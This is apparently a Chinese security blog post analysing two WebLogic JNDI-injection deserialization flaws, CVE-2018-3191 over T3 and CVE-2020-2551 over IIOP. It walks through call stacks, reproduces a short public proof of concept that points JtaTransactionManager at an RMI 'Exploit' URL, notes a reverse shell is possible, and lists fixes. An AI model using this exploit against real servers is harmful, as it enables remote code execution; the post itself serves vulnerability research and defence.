Weblogic Analysis Attacked by JNDI injection From CVE(part 4)

RoboTerh 2022-11-22 10:54:00

前言

接着前面的分析,这里主要是两个由JtaTransactionManager类的readObject方法调用过程中而造成的JNDI注入,其中第一个(CVE-2018-3191)是使用T3进行发送序列化数据,而第二个(CVE-2020-2551)这个经典的漏洞是通过IIOP来进行序列化数据的传递的

环境搭建

同样可以使用之前的环境搭建

JNDI Injection

CVE-2018-3191

原理

主要是在com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject方法中,在反序列化调用过程中将会触发一个JNDI注入漏洞

分析

我们跟进一下关键类的readObject方法

image-20221024180939508.png

首先创建了一个JndiTemplate类赋值给了jndiTemplate属性,之后调用了initUserTransactionAndTransactionManager方法,跟进看看逻辑

image-20221024181148716.png

在这里如果userTransaction属性值为空,将会调用lookupUserTransaction进行lookup查询

所以现在我们的目标就是使得其属性值为空,我们来看看他的构造方法

image-20221024181553800.png

存在有多个重载方法,只有无参构造方法中才没有对该属性进行赋值,所以我们在构造恶意对象的时候使用无参构造方法就行了

在调用lookupUserTransaction方法的时候传入的是userTransactionName属性值

对于该属性的赋值,该类存在有一个方法为setUserTransactionName

image-20221024181933747.png

我们看看lookupUserTransaction方法的调用过程

image-20221024182008971.png

这里是对传入的userTransactionName值进行了lookup查询

image-20221024184119076.png

这里调用了Context#lookup触发了JNDI查询

给个调用栈

lookup:127, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

CVE-2020-2551

原理

这个CVE主要是在IIOP协议上面做出的文章,在之前的Weblogic版本中,IIOP协议是默认开放的,且在JtaTransactionManager类中也没有进行过滤,IIOP协议的利用过程和RMI / LDAP协议的利用很像,相应的,在RMI攻击造成的反序列化问题,这里的IIOP协议同样具有

分析

简单贴一下概念性的东西

RMI: RMI英文全称为Remote Method Invocation,字面的意思就是远程方法调用,其实本质上是RPC服务的JAVA实现,底层实现是JRMP协议,TCP/IP作为传输层。通过RMI可以方便调用远程对象就像在本地调用一样方便。使用的主要场景是分布式系统。

CORBA: Common Object Request Broker Architecture(公共对象请求代理体系结构)是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL(interface definition language)描述连接到远程对象的接口,然后将其映射到制定的语言实现。

IIOP: CORBA对象之间交流的协议,传输层为TCP/IP。它提供了CORBA客户端和服务端之间通信的标准。

对于Weblogic来说就是一种RMI_IIOP的架构

image-20221109132508518.png

网上公开的POC为

public static void main(String[] args) throws Exception {
        String ip = "127.0.0.1";
        String port = "7001";
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
        Context context = new InitialContext(env);
        // get Object to Deserialize
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
        Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
        context.bind("hello", remote);
    }

我们简单分析一下其中的执行逻辑

首先是通过设置了java.naming.factory.initial / java.naming.provider.url两个变量

之后通过创建一个InitialContext方法从给定的url中获取了Context对象,我们具体跟进一下这个步骤

image-20221109134133837.png

这个InitialContext方法就是用来从给定的环境中获取特定的context对象

可以一路跟进到public static Context getInitialContext(Hashtable<?,?> env)方法的调用中

image-20221109134436759.png

首先是从我们传入的Hashtable对象中获取key为Context.INITIAL_CONTEXT_FACTORY的值,即是java.naming.factory.initial

获取到了weblogic.jndi.WLInitialContextFactory这个类名

之后调用了loadClass来获取这个类并实例化

image-20221109134728349.png

之后可以一路追踪到iiopEnvironmentFactory#getInitialContext方法中

image-20221109134951340.png

调用了InitialContextFacotryImpl.getInitialContext方法来获取远程Context对象

在第二个传参中取出了我们设置的第二个变量java.naming.provider.url

image-20221109135118515.png

image-20221109135212315.png

首先判断是不是IOR开头的url,我们这里使用的IIOP进入了else语句

通过ORB的实现类的getORBReference方法来获取远程的Reference对象

在获取了这个Context对象之后,执行其bind等方法类似于RMI的利用,将会触发反序列化的调用

我们来看看具体点的流程

weblogic在接收到iiop请求之后,进行处理的位置是在weblogic.rmi.internal.wls.WLSExecuteRequest#run类中

image-20221109155142598.png

在这里通过调用ref属性的handleRequest方法进行请求的处理

image-20221109155303871.png

此时的ref属性是一个CorbaServerRef类对象,所以该请求的具体处理时在weblogic.corba.idl.CorbaServerRef#handleRequest方法中

但是该类是没有该方法的,所以主要时在其父类BasicServerRef#handleRequest方法进行处理

image-20221109155556407.png

具体为

image-20221109155802939.png

前面都是没有啥意义的逻辑,主要是在run方法的调用

调用var2.invoke方法,其中的var2就是在这个方法中传入的InvokeHandler对象,也即是ClusterableServerRef类对象

image-20221109160441739.png

看看他的invoke方法

image-20221109160725248.png

其中传入的参数分别是我们POC中调用的bind方法对应的bind_any方法,输入流和输出流

在该方法中, 第一个if语句中判断了该次请求是否是IIOP协议封装的请求

如果满足这个条件,调用的是getReplicaInfo方法进行信息的获取

且在后面通过提取获取到的var5,通过调用setReplicaInfo来处理回复包

image-20221109161809060.png

最重要的是在后面的invoker.invoke方法中,将var1 / var2和处理过后的var3后进行了传入,这里的invoker属性是weblogic.corba.idl.CorbaServerRef类对象

image-20221109162155306.png

在该方法中,在该类的objectMethods属性中,获取到我们想要的方法名对应的flags

image-20221109162308398.png

但是没有我们想要的bind_any方法,所以var5得到的值为5

所以调用到了this.delegate._invoke方法中来

image-20221109162516828.png

在该类中是不存在_invoke方法的,我们追踪到其父类weblogic.corba.cos.naming._NamingContextAnyImplBase中来

image-20221109162626118.png

image-20221109162740796.png

在该方法中,首先通过从_methods属性中获取我们想要调用的方法对应的flags

这次在这个属性中是存在bind_any这个key值的

image-20221109162840598.png

可以返回的flags为0,从这里我们也可以看出存在有unbind / rebind / list等在RMI攻击中用到的方式

言归正传

在之后进行switch语句中,进入了case 0子句

在其中调用了输入流的read_any方法,即是IIOPInputStream#read_any方法中

可以一直跟进到weblogic.corba.idl.AnyImpl#read_value_internal方法中

这一部分的调用链为

image-20221109164302490.png

image-20221109164434024.png

在该方法中是通过获取对应的值来进入不同的case语句

image-20221109164513560.png

此时的_value值为29,所以,进入的是case 30中的子句

调用了weblogic.iiop.IIOPInputStream#read_value方法进行从输入流中获取值(也就是反序列化的过程)

image-20221109165130038.png

在其中对序列化数据进行处理的过程中调用了ValueHandlerImpl#readValue方法

image-20221109165208207.png

这里的var1对象就是我们在POC中调用bind方法绑定的类,即是JtaTransactionManager对象

所以,这里在readValue方法中,进入的else语句调用readValueData进行数据的处理

调用了readValueData方法

image-20221109170243308.png

调用了我们ObjectStreamClass对象的readObject方法

image-20221109170857307.png

进而调用了com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject方法

之后就是在上个CVE中同样的触发JNDI注入的逻辑了

image-20221109171200466.png

调用initUserTransactionAndTransactionManager方法

image-20221109171220104.png

调用lookupUserTransaction方法

image-20221109171250861.png

在这里存在有JNDI注入的点

其中该方法中的传参,也就是我们在POC中调用setUserTransactionName设置的userTransactionName属性值

这里并没有任何的过滤,所以能够造成注入

完整的调用栈

lookupUserTransaction:562, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
readObject:315, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:1428, IIOPInputStream (weblogic.iiop)
read_value:1278, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1033, IIOPInputStream (weblogic.iiop)
read_any:1026, IIOPInputStream (weblogic.iiop)
_invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:231, ClusterableServerRef (weblogic.rmi.cluster)
run:527, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:523, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:311, ExecuteThread (weblogic.work)
run:263, ExecuteThread (weblogic.work)

能够反弹shell

image-20221109171836430.png

修复

  1. 直接关闭默认开启的IIOP协议功能
  2. 官方补丁中主要是通过将JtaTransactionManager类的父类AbstractPlatformTransactionManager添加进入了黑名单中,递归查询的深度为100

Ref

https://www.r4v3zn.com/posts/b64d9185/

https://www.anquanke.com/post/id/197605

https://github.com/QAX-A-Team/WeblogicEnvironment

评论

RoboTerh

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

APT 文章:6 篇
CTF 文章:62 篇
木马与病毒 文章:125 篇
二进制安全 文章:77 篇
企业安全 文章:40 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录